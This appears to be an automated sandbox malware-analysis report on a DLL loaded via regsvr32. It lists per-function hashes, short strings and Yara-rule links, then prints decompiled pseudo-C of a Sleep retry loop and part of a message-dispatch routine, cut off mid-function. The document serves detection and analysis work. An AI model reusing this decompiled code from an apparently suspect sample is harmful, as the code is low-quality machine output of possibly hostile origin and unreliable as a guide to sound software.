Instruction ID: 3f23a3a6e95f4ae4fcf62ca6d76766905b73548acce4927ad68339e2c34ea30e
Opcode Fuzzy Hash: 8418174d68346dc93b53a159629100360496aca53275fddac5ec063eda55d920
Instruction Fuzzy Hash: A341B2B590038E8FDB49CF68C8864DE7BB0FB58344F514A1DE826A6250D3B8D665CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006BBC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

S$I, xrefs: 0000000180006C9B

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: S$I
API String ID: 0-1867731305
Opcode ID: 32172a71cdd53c04010e7db46c34b2391fcb9c8c55079647ba5e6080ca7cf13a
Instruction ID: 032158c2583a4439a4174cf4c9d512430e4bcec6512f1175a9eb89bd52983242
Opcode Fuzzy Hash: 32172a71cdd53c04010e7db46c34b2391fcb9c8c55079647ba5e6080ca7cf13a
Instruction Fuzzy Hash: 224194B190078E8BCF48CF64C88A5DE7BB0BB58358F514A19E866A6250D3B8D665CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026FBC Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

CN, xrefs: 0000000180027107

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: CN
API String ID: 0-62021918
Opcode ID: 23a310725a3df70173c73a2ae6f1cc22e1d33b382e02a61dd2a0f8d3d36414b2
Instruction ID: b09a5e89069d7ee18b4221a2de386b48ff59c2c8d89c91696792cbd3360d87d8
Opcode Fuzzy Hash: 23a310725a3df70173c73a2ae6f1cc22e1d33b382e02a61dd2a0f8d3d36414b2
Instruction Fuzzy Hash: 7741C3B090474A8FDB48CF64C88A4DE7FF0FB58398F604619F955A6290D3B896A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B6C0 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

"s, xrefs: 000000018002B6F1

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "s
API String ID: 0-795309145
Opcode ID: 00d03b7e999545c8c3361f1ec93b3a372536bec5028d9a6c277d6b0eb2e4d87a
Instruction ID: ea96c0c9a7452a494cf0a58506eddd21d4221912ff2b9160d0de82f05cca9c08
Opcode Fuzzy Hash: 00d03b7e999545c8c3361f1ec93b3a372536bec5028d9a6c277d6b0eb2e4d87a
Instruction Fuzzy Hash: BB31127060DB44AFD388DF28C19661ABBE1FBC8754F90A91DF4868B364D7B0D8048B86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012AA6 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

R^, xrefs: 0000000180012B20

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: R^
API String ID: 0-1166496218
Opcode ID: 4c0472051929f4179fcd3749e4dba23273f80cf56bcc8b8ea30a04f18c8ec929
Instruction ID: a15164950b4cfafa2439581f0bb0e16aac1b0225027eac68f3bed907559be052
Opcode Fuzzy Hash: 4c0472051929f4179fcd3749e4dba23273f80cf56bcc8b8ea30a04f18c8ec929
Instruction Fuzzy Hash: BA31FFB050570DCBEB6CCF28D49A6AD3BA8FB94304F10812DFC1A8A2A1D778E519DB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001298D Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

p(, xrefs: 0000000180012A46

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: p(
API String ID: 0-2287756117
Opcode ID: 49612584e9600bdb9f0fbd13b302b505656996393ed1edda728fdfcfd856f938
Instruction ID: 1f6393f58765346d690c18a014dbe59671e48708b74b6e605a9154e0e81c6e84
Opcode Fuzzy Hash: 49612584e9600bdb9f0fbd13b302b505656996393ed1edda728fdfcfd856f938
Instruction Fuzzy Hash: 1A311030504B0D8BEBA9DF24D4467E83BE9FB49344F509039FC1E8A6A1DB78E519CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001EA38 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

6:, xrefs: 000000018001EB03

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6:
API String ID: 0-248076856
Opcode ID: 80dc5cfd91a5a14fec4bdf425f72fe5be6e6863b0eb59fa94e5cb292174cdeea
Instruction ID: 578dc2047f3c25a91c85f320a2c3e2ae53afb2d699ca949ce0158aae7f3df300
Opcode Fuzzy Hash: 80dc5cfd91a5a14fec4bdf425f72fe5be6e6863b0eb59fa94e5cb292174cdeea
Instruction Fuzzy Hash: 6E315EB0629781AFC398DF28D59581ABBF1FBC8350F806A1DF9868B360D774D845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B55C Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

`1, xrefs: 000000018002B61B

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: `1
API String ID: 0-1979349346
Opcode ID: 065529729a33f00b36b360d35f2701b1eb81a98eec8dc9fa451d82dad3f1da1a
Instruction ID: 03c6bc0ac17628438e6151f9d3079b2d8b5edbb165f3a047b2fc81db715b9003
Opcode Fuzzy Hash: 065529729a33f00b36b360d35f2701b1eb81a98eec8dc9fa451d82dad3f1da1a
Instruction Fuzzy Hash: 0931F971508B448FE3B8DF28C48A25BBBF0FBD6348F10891DE69986260D775D948CF02

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800072CC Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

6, xrefs: 0000000180007359

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6
API String ID: 0-2151125690
Opcode ID: 7fe3ed133efa9a0ba5cb1c3694ca3d97fe187cf21d9ac889749d1bfcb8e9caee
Instruction ID: 26e6485828b74c28d077642bfb6949013341cd59751993bca7f1270e64635ba9
Opcode Fuzzy Hash: 7fe3ed133efa9a0ba5cb1c3694ca3d97fe187cf21d9ac889749d1bfcb8e9caee
Instruction Fuzzy Hash: 2F31E37060C7848FD3B8CF28D58631BBBF1FBCA354F108A1DE28D86265D77699498B02

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018F80 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

=, xrefs: 0000000180018FAF

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =
API String ID: 0-1434461948
Opcode ID: 2b1f4a459de5aba130eb27628ce2268101d08787a09773dacfc334438580d329
Instruction ID: cbbf025a1322658d4b58ac9d8c2878eae64758a279faf24bfb4cb7b22da5af81
Opcode Fuzzy Hash: 2b1f4a459de5aba130eb27628ce2268101d08787a09773dacfc334438580d329
Instruction Fuzzy Hash: 2331067051DB849BD388CF29D08560ABAE2BBC8748F505A1DF595863A4C7B4D805CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A42C Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

`n, xrefs: 000000018000A52C

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: `n
API String ID: 0-2385392903
Opcode ID: 03b57a95ae99d7d425e67b1db84c0092cd55ee49e1ae5d6403a7e20ef33337cd
Instruction ID: a2f6c1c510941c41a4d2e2185e1194d62d65ad94bb9abc1253785425fc7948cf
Opcode Fuzzy Hash: 03b57a95ae99d7d425e67b1db84c0092cd55ee49e1ae5d6403a7e20ef33337cd
Instruction Fuzzy Hash: F1316DB5528780AFD388DF28D18681BBBE0FB85344F806A2DF8968B254D779E445CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004918 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

eJ, xrefs: 0000000180004999

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: eJ
API String ID: 0-3478791571
Opcode ID: 424770f0ab69cf8e4d9200ce07e1736e1adfa5f67a069199074105d5eb652cf6
Instruction ID: ee700035d16793debc86cc4f0f271cd23744e425c8962018fe529118255f904c
Opcode Fuzzy Hash: 424770f0ab69cf8e4d9200ce07e1736e1adfa5f67a069199074105d5eb652cf6
Instruction Fuzzy Hash: 723180B1929781AFD398CF29C48981BBBE1FB89314F806A1DF8C58B260D774D8058B42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CA34 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

V', xrefs: 000000018001CAFB

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: V'
API String ID: 0-137518406
Opcode ID: 8fd9c51effcce4a26ab8cafce62afda10854310fbb93ec3b1a9c6c4221c90e32
Instruction ID: ae95c72f2017c7b06e1fd1fc02197695b4385e208fe98be1120e3244f6b566a3
Opcode Fuzzy Hash: 8fd9c51effcce4a26ab8cafce62afda10854310fbb93ec3b1a9c6c4221c90e32
Instruction Fuzzy Hash: B831C4705587808BE768DF64C48665AFBE1FB84384F60891DE1DAC6270DBB4D189CB46

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A31C Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

s, xrefs: 000000018000A32F

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: s
API String ID: 0-754793141
Opcode ID: 32758a097f1462c84824626ed1243ff0e27ef6e9b03286ca7ac8b9fd464dba95
Instruction ID: 83affdbd692bd4d26447881f4751bf18acd1e1e924d7303ab1db02682f282b92
Opcode Fuzzy Hash: 32758a097f1462c84824626ed1243ff0e27ef6e9b03286ca7ac8b9fd464dba95
Instruction Fuzzy Hash: B421A5716087858BE748DF69C48A51EFBE1FBC4388F504A2CF4C6863A0D7B4D58ACB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E720 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

M, xrefs: 000000018000E7FE

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: M
API String ID: 0-4229583263
Opcode ID: fb0b9c8422c616795187f75499e974cce28ce72afcd2770d9faa1336b112253f
Instruction ID: ef1db275e924e955cf91c5ccc96559b5a815fa379fb2386ed453644ed4f7ea3e
Opcode Fuzzy Hash: fb0b9c8422c616795187f75499e974cce28ce72afcd2770d9faa1336b112253f
Instruction Fuzzy Hash: 77218AB15187848BD348DF28C48641ABBE4FB8D30DF944B1DF4CAA72A1D778D6068F4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001FBD8 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

z7, xrefs: 000000018001FCA4

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: z7
API String ID: 0-750003852
Opcode ID: f84e01431fdc56c3612e9ef1bc266983120e39d017bc81bd0ba0a035b6c9604d
Instruction ID: 6602566d673a20e01946ec477c12328a60c197713727249666f70f100362554e
Opcode Fuzzy Hash: f84e01431fdc56c3612e9ef1bc266983120e39d017bc81bd0ba0a035b6c9604d
Instruction Fuzzy Hash: CD3149B55087808BD349DF28D45941EBBE0BB8C35CF414B2DF5CAAA290D778D644CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800043F4 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

#X, xrefs: 0000000180004479

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X
API String ID: 0-1684620495
Opcode ID: 751b52ee53712364ec00b30ca921f807499f9a92559916298f362f71b9dd477b
Instruction ID: 226370ec8abc8eb9dbeaffdf0875e6708fba71ea38c33bd37963bb3348db4c5c
Opcode Fuzzy Hash: 751b52ee53712364ec00b30ca921f807499f9a92559916298f362f71b9dd477b
Instruction Fuzzy Hash: 7D219FB0629780AFD388DF28C49981ABBF0BBC8304F806A2DF89697350D775D445CB43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001FD00 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

#X, xrefs: 000000018001FD35

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X
API String ID: 0-1684620495
Opcode ID: 5afa5fd615093f4ca8a90a9b75cca1933039d7063fb132342f4eb5c70c5ef633
Instruction ID: e258ffec43b6add975f15de9b5f145e8f703d52af202c46495e69c43f2159349
Opcode Fuzzy Hash: 5afa5fd615093f4ca8a90a9b75cca1933039d7063fb132342f4eb5c70c5ef633
Instruction Fuzzy Hash: B8210C70119B45AFE3C8DF29D58561BBBE1FB84354F90A91DF586C6264D7B4C808CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007418 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

#G, xrefs: 0000000180007490

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #G
API String ID: 0-1001985941
Opcode ID: 65327d5d9ba271751479b2ff89829fef9434d9f655ddc4921b691e55a9da74b4
Instruction ID: 9de7624a929059c2f123550dbaba20d50146b7241bde8b6eafbb50040ea1ff33
Opcode Fuzzy Hash: 65327d5d9ba271751479b2ff89829fef9434d9f655ddc4921b691e55a9da74b4
Instruction Fuzzy Hash: 412148B05187809FE389DF28D48941BBBE1BB8C348F404B1DF4C9AB251D378D6548F4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001DE2C Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

;, xrefs: 000000018001DE70

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ;
API String ID: 0-2788296473
Opcode ID: 9c460dc552ac0327e74e90af62f1a32ef681913d0ee74b02b5e56bb972b1652d
Instruction ID: 1e5ff60123010a495782f879a4f14655174b2e592117abab3cf109bd8d58cdc4
Opcode Fuzzy Hash: 9c460dc552ac0327e74e90af62f1a32ef681913d0ee74b02b5e56bb972b1652d
Instruction Fuzzy Hash: 64215BB55187848BD348DF28C49951ABBE1BB8C318F400B1DF4CAAB394D778DA44CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800116DC Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

f, xrefs: 000000018001177C

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: f
API String ID: 0-1262132504
Opcode ID: 5e6288e2c1d7216769477ab51818b25734a7e104cb3b0e4a48242e7f282f3c5c
Instruction ID: 6168d231b9ed164f27b58094744b2c24ead7302a5a6f7b7f51aa6ac2cbfd5f41
Opcode Fuzzy Hash: 5e6288e2c1d7216769477ab51818b25734a7e104cb3b0e4a48242e7f282f3c5c
Instruction Fuzzy Hash: E32135B56187848BD388DF28C44941ABBE1BBDD31CF404B1DF4C9AB2A4D378D645CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D704 Relevance: 1.3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

Strings

{Z, xrefs: 000000018000D7EF

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: {Z
API String ID: 0-719170576
Opcode ID: a0d8881704ff39ef955a2bccda77be15dfd736f9dafb5f5dddc7dd2128b06ff5
Instruction ID: 1f85340b267caaf3d5cfe4df7e44c79698cdfcdd21950fa0e6fc7e88bafd7f4e
Opcode Fuzzy Hash: a0d8881704ff39ef955a2bccda77be15dfd736f9dafb5f5dddc7dd2128b06ff5
Instruction Fuzzy Hash: 7C216AB55187848FD388DF28C58951BBBE0BB8D308F404B5DF4DAAA261D378D654CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000421C Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

M, xrefs: 00000001800042F8

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: M
API String ID: 0-3449489977
Opcode ID: 45821926b22f2bc4ff01c7f9608cefb4fc40b685c916f2761648b0d7a00a42de
Instruction ID: a7af852c08d843a800105f880a9911ca0971d46701a5cadb8ece9d12cd2aa513
Opcode Fuzzy Hash: 45821926b22f2bc4ff01c7f9608cefb4fc40b685c916f2761648b0d7a00a42de
Instruction Fuzzy Hash: A5215FB45187808BD348DF28C55A41BBBE1BB8C348F505B5DF4CAA62A0D7789605CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800117E0 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

'Z, xrefs: 00000001800118B9

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'Z
API String ID: 0-279058544
Opcode ID: c94e457454d5fd428373413fd6eb121665a7b6188ef2bb88a162f8f2b6d2d9e4
Instruction ID: b2816d6b6f8405d24226ae6e89e09d7e65a27a7acfb50484b0635f69c4637f55
Opcode Fuzzy Hash: c94e457454d5fd428373413fd6eb121665a7b6188ef2bb88a162f8f2b6d2d9e4
Instruction Fuzzy Hash: F6215AB45183848FD398DF28C54951BBBE0BB8C35CF804B1DB8CAA6260D778D6448F4A

Uniqueness

Uniqueness Score: -1.00%

Function 100389D0 Relevance: 1.3, APIs: 1, Instructions: 44
sleepCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E100389D0(void* __ecx, long long __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, long long __r12, long long __r13, long long _a8, long long _a16, long long _a24, long long _a32) {
				long long _v8;
				long long _v16;
				void* _t14;
				void* _t22;
				long long _t25;
				void* _t34;
				long long _t36;
				void* _t39;
				void* _t44;

				_t36 = __rsi;
				_t27 = __rbx;
				_t25 = __rax;
				_a16 = __rbp;
				_a24 = __rsi;
				_a32 = __rdi;
				_v8 = __r12;
				_v16 = __r13;
				_t34 = __r8;
				r13d = 0xffffffff;
				_a8 = __rbx;
				_t39 = __rdx;
				_t44 = __rcx;
				while(1) {
					_t14 = E1002FED0(_t14, _t27, _t44, _t39, _t34, _t36, _t39, _t34);
					_t27 = _t25;
					if(_t25 != 0 || _t34 == 0) {
						break;
					}
					_t22 =  *0x100b7ff0 - _t14; // 0x0
					if(_t22 > 0) {
						Sleep();
						_t7 = _t36 + 0x3e8; // 0x3e8
						r11d = _t7;
						_t17 =  >  ? r13d : r11d;
						if(( >  ? r13d : r11d) != r13d) {
							continue;
						} else {
						}
					}
					break;
				}
				return _t14;
			}

0x100389d0
0x100389d0
0x100389d0
0x100389d4
0x100389d9
0x100389de
0x100389e3
0x100389e8
0x100389ed
0x100389f0
0x100389f6
0x100389fb
0x100389fe
0x10038a10
0x10038a19
0x10038a21
0x10038a24
0x00000000
0x00000000
0x10038a2b
0x10038a31
0x10038a35
0x10038a3b
0x10038a3b
0x10038a4c
0x10038a53
0x00000000
0x10038a55
0x10038a55
0x10038a53
0x00000000
0x10038a31
0x10038a7a

APIs

Sleep.KERNEL32 ref: 10038A35

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b518ca14d58a2d1d281521c514076fea5eeff7b6946cd1f0bc5b1558ed34fef8
Instruction ID: cefae0051bb4bada5b3716deb57bb35c9a7da73f2588d7a7ca945cfe418a5e0e
Opcode Fuzzy Hash: b518ca14d58a2d1d281521c514076fea5eeff7b6946cd1f0bc5b1558ed34fef8
Instruction Fuzzy Hash: 3601803A604B8186C6129F02B80024BF3A4F38AFE5F581125EFDC17B28CB38D980CB45

Uniqueness

Uniqueness Score: -1.00%

Function 10016D48 Relevance: .8, Instructions: 803
COMMONCrypto

Download Yara Rule

C-Code - Quality: 22%

			E10016D48(void* __ebx, signed int __edx, signed short __esi, intOrPtr* __rcx, unsigned long long __r8, unsigned long long __r9, unsigned long long __r11) {
				signed short _t131;
				signed int _t132;
				signed short _t134;
				unsigned long long _t147;
				unsigned long long _t237;
				unsigned long long _t238;
				unsigned long long _t241;
				signed int _t247;
				intOrPtr _t250;
				signed int _t287;
				signed short _t289;
				unsigned long long _t297;
				unsigned long long _t298;
				unsigned long long _t299;
				void* _t306;
				unsigned long long _t319;
				unsigned long long _t326;
				signed long long _t334;
				signed long long _t335;
				long long* _t336;
				long long* _t339;
				intOrPtr _t342;
				unsigned long long _t343;
				unsigned long long _t345;
				unsigned long long _t347;
				unsigned long long _t349;
				unsigned long long _t351;
				unsigned long long _t355;
				unsigned long long _t357;
				unsigned long long _t359;
				unsigned long long _t362;
				unsigned long long _t364;
				unsigned long long _t382;
				unsigned long long _t384;
				unsigned long long _t388;
				unsigned long long _t391;
				unsigned long long _t394;
				unsigned long long _t401;
				unsigned long long _t403;
				unsigned long long _t405;
				unsigned long long _t407;
				unsigned long long _t410;
				unsigned long long _t415;
				unsigned long long _t417;
				unsigned long long _t419;
				unsigned long long _t421;
				unsigned long long _t423;
				unsigned long long _t428;
				unsigned long long _t432;
				unsigned long long _t436;
				unsigned long long _t439;
				unsigned long long _t443;
				unsigned long long _t453;
				unsigned long long _t457;
				unsigned long long _t461;
				unsigned long long _t464;
				unsigned long long _t467;
				unsigned long long _t470;
				unsigned long long _t474;
				unsigned long long _t485;
				long long* _t486;
				unsigned long long _t517;
				unsigned long long _t518;
				unsigned long long _t519;
				intOrPtr* _t527;
				void* _t528;
				unsigned long long _t561;
				void* _t564;
				unsigned long long _t565;

				_t561 = __r11;
				_t553 = __r9;
				_t529 = __r8;
				_t289 = __esi;
				_t252 = __edx;
				_t244 = __ebx;
				 *((long long*)(_t528 + 0x68)) = 0xfffffffe;
				_t521 = __r9;
				_t562 = __r8;
				r13d = __edx;
				_t527 = __rcx;
				 *(_t528 + 0x30) = 0;
				 *((intOrPtr*)(_t528 + 0x40)) = 0x7fffffff;
				r15d = 1;
				if(__edx != 0x111) {
					__eflags = __edx - 0x4e;
					if(__edx != 0x4e) {
						__eflags = __edx - 6;
						if(__eflags == 0) {
							E10014360(__ebx, __edx, _t297, __r9, _t484, __r8, __r9, __r11);
							_t529 = _t297;
							_t484 = __r8;
							_t131 = E10016448(__edx, __esi, __eflags, _t297, _t527, __r8, _t297, __r11);
						}
						__eflags = r13d - 0x20;
						if(r13d != 0x20) {
							L13:
							_t298 =  *((intOrPtr*)(_t527 + 0x98));
							__eflags = _t298;
							if(_t298 == 0) {
								L21:
								_t299 =  *_t527;
								_t132 =  *((intOrPtr*)(_t299 + 0x50))();
								_t517 = _t299;
								_t247 = (_t132 ^ r13d) & 0x000001ff;
								 *((intOrPtr*)(_t528 + 0x40)) = 7;
								E1002AC6C();
								_t335 = _t334 + _t334 * 2;
								_t485 = 0x100b3ef0;
								__eflags = r13d -  *((intOrPtr*)(0x100b3ef0 + _t335 * 8));
								if(r13d !=  *((intOrPtr*)(0x100b3ef0 + _t335 * 8))) {
									L27:
									 *(_t485 + _t335 * 8) = r13d;
									 *(_t485 + 0x10 + _t335 * 8) = _t517;
									_t339 =  *_t517;
									_t134 = 0;
									__eflags = _t339 - _t299;
									if(_t339 == _t299) {
										L183:
										 *(_t485 + 8 + _t335 * 8) = _t299;
										E1002ACF8();
										__eflags = 0;
										return 0;
									} else {
										goto L28;
									}
									do {
										L28:
										__eflags = r13d - 0xc000;
										if(r13d >= 0xc000) {
											_t518 =  *((intOrPtr*)(_t517 + 8));
											goto L38;
											do {
												__eflags =  *_t518 - 0xc000;
												if( *_t518 != 0xc000) {
													goto L42;
												}
												__eflags =  *((intOrPtr*)(_t518 + 4)) - _t134;
												if( *((intOrPtr*)(_t518 + 4)) != _t134) {
													goto L42;
												}
												__eflags =  *((intOrPtr*)(_t518 + 8)) - _t134;
												if( *((intOrPtr*)(_t518 + 8)) <= _t134) {
													L44:
													__eflags = _t518 - _t299;
													if(_t518 == _t299) {
														goto L47;
													}
													_t299 =  *((intOrPtr*)(_t518 + 0x10));
													__eflags =  *_t299 - r13d;
													if( *_t299 == r13d) {
														_t299 = 0x100b3ef0;
														 *(0x100b3ef0 + 8 + _t335 * 8) = _t518;
														E1002ACF8();
														 *((intOrPtr*)(_t528 + 0x40)) = 0x7fffffff;
														L178:
														 *((long long*)( *((intOrPtr*)(_t518 + 0x18))))();
														 *(_t528 + 0x30) = _t299;
														L179:
														_t486 =  *((intOrPtr*)(_t528 + 0x180));
														if(_t486 != 0) {
															 *_t486 =  *(_t528 + 0x30);
														}
														return r15d;
													} else {
														_t518 = _t518 + 0x20;
														_t134 = 0;
														L38:
